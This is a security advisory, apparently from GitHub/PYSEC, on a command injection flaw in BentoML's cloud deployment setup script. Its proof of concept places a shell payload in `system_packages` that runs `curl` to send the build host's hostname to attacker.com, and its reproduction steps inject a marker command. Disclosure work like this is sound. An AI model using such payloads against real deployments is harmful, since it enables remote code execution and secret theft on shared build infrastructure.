BentoML: Command Injection in cloud deployment setup script

Commit ce53491 (March 24) fixed command injection via `system_packages` in Dockerfile templates and `images.py` by adding `shlex.quote`. However, the cloud deployment path in `src/bentoml/_internal/cloud/deployment.py` was not included in the fix. Line 1648 interpolates `system_packages` directly into a shell command using an f-string without any quoting. The generated script is uploaded to BentoCloud as `setup.sh` and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier. ## Details **Fixed paths (commit ce53491):** - `src/_bentoml_sdk/images.py:88` - added `shlex.quote(package)` - `src/bentoml/_internal/bento/build_config.py:505` - added `bash_quote` Jinja2 filter - Jinja2 templates: `base_debian.j2`, `base_alpine.j2`, etc. **Unfixed path:** `src/bentoml/_internal/cloud/deployment.py`, line 1648: def _build_setup_script(bento_dir: str, image: Image | None) -> bytes: content = b"" config = BentoBuildConfig.from_bento_dir(bento_dir) if config.docker.system_packages: content += f"apt-get update && apt-get install -y {' '.join(config.docker.system_packages)} || exit 1\n".encode() `system_packages` values from `bentofile.yaml` are joined with spaces and interpolated directly into the `apt-get install` command. No `shlex.quote`. **Remote execution confirmed:** - Line 905: `setup_script = _build_setup_script(bento_dir, svc.image)` in `_init_deployment_files` - Line 908: `upload_files.append(("setup.sh", setup_script))` uploads to BentoCloud - Line 914: `self.upload_files(upload_files, ...)` sends to the remote deployment - The script runs on the cloud build infrastructure during container setup **Second caller at line 1068:** `_build_setup_script` is also called during `Deployment.watch()` for dev mode hot-reload deployments. ## Proof of Concept bentofile.yaml: service: "service:svc" docker: system_packages: - "curl" - "jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#" Generated setup.sh: apt-get update && apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1 The semicolon terminates the `apt-get` command. `${IFS}` is used for spaces (works in bash, avoids YAML parsing issues). The `#` comments out the trailing `|| exit 1`. The injected `curl` exfiltrates the hostname of the build infrastructure to the attacker. ## Impact A malicious `bentofile.yaml` achieves remote code execution on BentoCloud's build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios: 1. **Supply chain:** A shared Bento from a public model hub contains a poisoned `bentofile.yaml`. When deployed to BentoCloud, the injected command runs on the build infrastructure. 2. **Insider threat:** A data scientist with deploy permissions injects commands into `system_packages` to exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants' data). 3. **CI/CD compromise:** The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise. ## Local Reproduction Steps Tested and confirmed on Ubuntu with BentoML source at commit 0772581. Step 1: Create a directory with a malicious bentofile.yaml: mkdir /tmp/bento-pwn cat > /tmp/bento-pwn/bentofile.yaml << 'EOF' service: "service:svc" docker: system_packages: - "curl" - "jq; touch /tmp/PWNED_BY_INJECTION #" EOF Step 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648): python3 -c " import yaml with open('/tmp/bento-pwn/bentofile.yaml') as f: config = yaml.safe_load(f) pkgs = config['docker']['system_packages'] script = f\"apt-get update && apt-get install -y {' '.join(pkgs)} || exit 1\n\" print('Generated

CVSS 3.1

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Severity from

GitHub (reviewed advisory)

Weakness

CWE-78

Also known as

CVE-2026-35043, PYSEC-2026-158

• github.com/bentoml/BentoML/security/advisories/GHSA-fgv4-6jr3-jgfw
• nvd.nist.gov/vuln/detail/CVE-2026-33744
• nvd.nist.gov/vuln/detail/CVE-2026-35043
• github.com/bentoml/BentoML
• github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-158.yaml